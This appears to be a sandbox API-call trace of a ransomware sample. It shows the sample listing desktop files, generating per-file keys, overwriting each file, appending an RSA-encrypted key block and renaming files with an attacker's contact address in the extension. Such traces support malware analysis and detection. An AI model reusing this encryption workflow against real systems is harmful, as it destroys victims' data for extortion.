SetLastError (dwErrCode=0x0) [0144.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0144.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.990] GetLastError () returned 0x0 [0144.990] SetLastError (dwErrCode=0x0) [0144.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0144.990] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf498a20, ftCreationTime.dwHighDateTime=0x1d4c89f, ftLastAccessTime.dwLowDateTime=0xd4f1c880, ftLastAccessTime.dwHighDateTime=0x1d4ccb1, ftLastWriteTime.dwLowDateTime=0xd4f1c880, ftLastWriteTime.dwHighDateTime=0x1d4ccb1, nFileSizeHigh=0x0, nFileSizeLow=0xdedd, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="yjMv7N.png", cAlternateFileName="")) returned 1 [0144.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0144.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0144.990] GetLastError () returned 0x0 [0144.990] SetLastError (dwErrCode=0x0) [0144.990] GetLastError () returned 0x0 [0144.990] SetLastError (dwErrCode=0x0) [0144.990] GetLastError () returned 0x0 [0144.990] SetLastError (dwErrCode=0x0) [0144.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0144.990] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1015d40, ftCreationTime.dwHighDateTime=0x1d4d3f2, ftLastAccessTime.dwLowDateTime=0x14361df0, ftLastAccessTime.dwHighDateTime=0x1d4d583, ftLastWriteTime.dwLowDateTime=0x14361df0, ftLastWriteTime.dwHighDateTime=0x1d4d583, nFileSizeHigh=0x0, nFileSizeLow=0x99a1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="z777apMJ.gif", cAlternateFileName="")) returned 1 [0144.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0144.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.990] GetLastError () returned 0x0 [0144.990] SetLastError (dwErrCode=0x0) [0144.991] GetLastError () returned 0x0 [0144.991] SetLastError (dwErrCode=0x0) [0144.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.991] GetLastError () returned 0x0 [0144.991] SetLastError (dwErrCode=0x0) [0144.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0144.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0144.991] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83951300, ftCreationTime.dwHighDateTime=0x1d4cd80, ftLastAccessTime.dwLowDateTime=0x19fe74d0, ftLastAccessTime.dwHighDateTime=0x1d4cb47, ftLastWriteTime.dwLowDateTime=0x19fe74d0, ftLastWriteTime.dwHighDateTime=0x1d4cb47, nFileSizeHigh=0x0, nFileSizeLow=0x6910, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_dVlk.flv", cAlternateFileName="")) returned 1 [0144.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0144.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0144.991] GetLastError () returned 0x0 [0144.991] SetLastError (dwErrCode=0x0) [0144.991] GetLastError () returned 0x0 [0144.991] SetLastError (dwErrCode=0x0) [0144.991] GetLastError () returned 0x0 [0144.991] SetLastError (dwErrCode=0x0) [0144.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0144.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0144.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0144.991] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38b880, ftCreationTime.dwHighDateTime=0x1d4c65b, ftLastAccessTime.dwLowDateTime=0x339a0070, ftLastAccessTime.dwHighDateTime=0x1d4c6e8, ftLastWriteTime.dwLowDateTime=0x339a0070, ftLastWriteTime.dwHighDateTime=0x1d4c6e8, nFileSizeHigh=0x0, nFileSizeLow=0x18821, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_ZimOFaG8KXKEpU6r.png", cAlternateFileName="_ZIMOF~1.PNG")) returned 1 [0144.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0144.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.991] GetLastError () returned 0x0 [0144.991] SetLastError (dwErrCode=0x0) [0144.991] GetLastError () returned 0x0 [0144.991] SetLastError (dwErrCode=0x0) [0144.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0144.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.991] GetLastError () returned 0x0 [0144.992] SetLastError (dwErrCode=0x0) [0144.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0144.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0144.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6316f8 [0144.992] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38b880, ftCreationTime.dwHighDateTime=0x1d4c65b, ftLastAccessTime.dwLowDateTime=0x339a0070, ftLastAccessTime.dwHighDateTime=0x1d4c6e8, ftLastWriteTime.dwLowDateTime=0x339a0070, ftLastWriteTime.dwHighDateTime=0x1d4c6e8, nFileSizeHigh=0x0, nFileSizeLow=0x18821, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_ZimOFaG8KXKEpU6r.png", cAlternateFileName="_ZIMOF~1.PNG")) returned 0 [0144.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631760 [0144.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0144.992] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.992] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\_ZimOFaG8KXKEpU6r.png", dwFileAttributes=0x80) returned 1 [0144.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630d38 [0144.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0144.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630d38 | out: hHeap=0x570000) returned 1 [0144.992] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\_ZimOFaG8KXKEpU6r.png" (normalized: "c:\\users\\fd1hvy\\desktop\\_zimofag8kxkepu6r.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0144.992] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=100385) returned 1 [0144.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18821) returned 0x631898 [0144.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18821) returned 0x64a0c8 [0144.993] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x18821, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x18821, lpOverlapped=0x0) returned 1 [0144.995] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-100385, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.995] WriteFile (in: hFile=0x5e4, lpBuffer=0x64a0c8*, nNumberOfBytesToWrite=0x18821, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x64a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18821, lpOverlapped=0x0) returned 1 [0144.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0144.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x64a0c8 | out: hHeap=0x570000) returned 1 [0144.995] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18821 [0144.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.996] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.996] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.996] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.997] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0144.997] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="HG9vxH6bO5DZM5eBOe4VXorMq/fPkQCX/JEEOAXltErCLhUOomVDn4a6ZKBDaluS\nZ5s+lJKFPVJtc+7J1/UJE6wAvl+LPZpaEGAx+dwQROPwFER22b31UCTR8chkCB0O\nHW/tkRLKq/mMeomKp/3SOjkxzbZoBQ64muMbAu1q9cRA90jfAuKK1c+klZYie2GU\ns5HymOm/dXiuxMv3oEAE2qaVGTxE+QHofNTJfwm6QXhtGzDWRKvo7BgSVBfHQp8W\nnK2n+cYUEwMnc8wcY0fOjCr3NejpbaEuge/i38kemfDw0ieqP3Ylst0pnt0l8xwy\nCzdGwHUr2GQZWO18UOohbQ==\n", pcchString=0x2e3f9a8) returned 1 [0144.997] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.997] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.997] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.997] CloseHandle (hObject=0x5e4) returned 1 [0144.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.997] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\_ZimOFaG8KXKEpU6r.png" (normalized: "c:\\users\\fd1hvy\\desktop\\_zimofag8kxkepu6r.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\_ZimOFaG8KXKEpU6r.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\_zimofag8kxkepu6r.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0144.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631760 | out: hHeap=0x570000) returned 1 [0144.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6316f8 | out: hHeap=0x570000) returned 1 [0144.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0144.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.999] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.999] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\_dVlk.flv", dwFileAttributes=0x80) returned 1 [0145.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0145.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0145.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0145.000] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\_dVlk.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\_dvlk.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.000] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=26896) returned 1 [0145.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6910) returned 0x631898 [0145.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6910) returned 0x6381b0 [0145.000] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x6910, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x6910, lpOverlapped=0x0) returned 1 [0145.001] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-26896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.001] WriteFile (in: hFile=0x5e4, lpBuffer=0x6381b0*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6381b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6910, lpOverlapped=0x0) returned 1 [0145.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6381b0 | out: hHeap=0x570000) returned 1 [0145.001] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6910 [0145.001] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.001] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.002] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.002] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.002] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+Q2c7b4DcNeb5x8T6w6C23OL+Oeb3LJY7t18At2AEymd6PcwEitslDIazMNXx5uZ\n5yUGdtbvFp4qg9I80dAbrNAiiXM2jEsMHL4JI16dPDR9DZvHE6QjfL+OI/JWUB9w\nw+7PyaSRgLsohHvSfomFIDp1yaj5N6xOC2P2TqKAqrC/FJCUVG9GZdie6bRTTUZP\nDQC3Vt2lIxhD6DFSIM9BPKSaTiqzPuWzHBJ5ZDcbg22hVZLl5mnibnx8ywcszH/5\ndMvrIrB+379EeBAMvwQrDBmWfwovEKXuiR+zRJi8nVtutNKo9Vq5NbSiol/hq42c\nBOc6yk/9ogFCQ+1JGr34Iw==\n", pcchString=0x2e3f9a8) returned 1 [0145.002] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.002] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.002] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.002] CloseHandle (hObject=0x5e4) returned 1 [0145.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.002] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\_dVlk.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\_dvlk.flv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\_dVlk.flv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\_dvlk.flv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0145.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0145.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be630 [0145.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.004] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.004] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\z777apMJ.gif", dwFileAttributes=0x80) returned 1 [0145.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be9f8 [0145.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0145.005] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\z777apMJ.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\z777apmj.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.005] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=39329) returned 1 [0145.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x99a1) returned 0x631898 [0145.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x99a1) returned 0x63b248 [0145.005] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x99a1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x99a1, lpOverlapped=0x0) returned 1 [0145.006] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-39329, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.006] WriteFile (in: hFile=0x5e4, lpBuffer=0x63b248*, nNumberOfBytesToWrite=0x99a1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63b248*, lpNumberOfBytesWritten=0x2e3f9b4*=0x99a1, lpOverlapped=0x0) returned 1 [0145.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63b248 | out: hHeap=0x570000) returned 1 [0145.007] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x99a1 [0145.007] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.007] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.007] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.007] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.007] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.007] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="3T4/FD83/NeRMmN9cEnHJK35BoIU+zbi3ewcbCLUj49W2htYyCYAHsslWDM3WZut\nq5MKmbMCvOUt1/9V/KmdNinpojcY+uEgWiA6Rdw5s4NtnRg0k6Op74fmUzsf01Oy\nJBDzqNeByrvAG++vCZfZ5Dq0ULCSYixYU8jvJZpLTmUrB1JZgMnGCUl+hyAV0QM3\nROxl5gzr3as/QnPBQB+1mlGmEHdJGtjMw80w+VGN2NV4fKz8Xg7gFvstiKVqlmh+\nilv7ZQvZ3y9pji2M9TTx5kRTTktCAT8kp6W69J3aal4Bj6q4YYTBGwX9uN4V8N2i\nKMpiAV3nwoDnEKcZ2AI3Ag==\n", pcchString=0x2e3f9a8) returned 1 [0145.007] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.007] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.008] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.008] CloseHandle (hObject=0x5e4) returned 1 [0145.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.008] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\z777apMJ.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\z777apmj.gif"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\z777apMJ.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\z777apmj.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0145.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0145.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be2c0 [0145.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0145.009] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.010] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\yjMv7N.png", dwFileAttributes=0x80) returned 1 [0145.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0145.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0145.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0145.010] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\yjMv7N.png" (normalized: "c:\\users\\fd1hvy\\desktop\\yjmv7n.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.010] GetFileSizeEx (in: 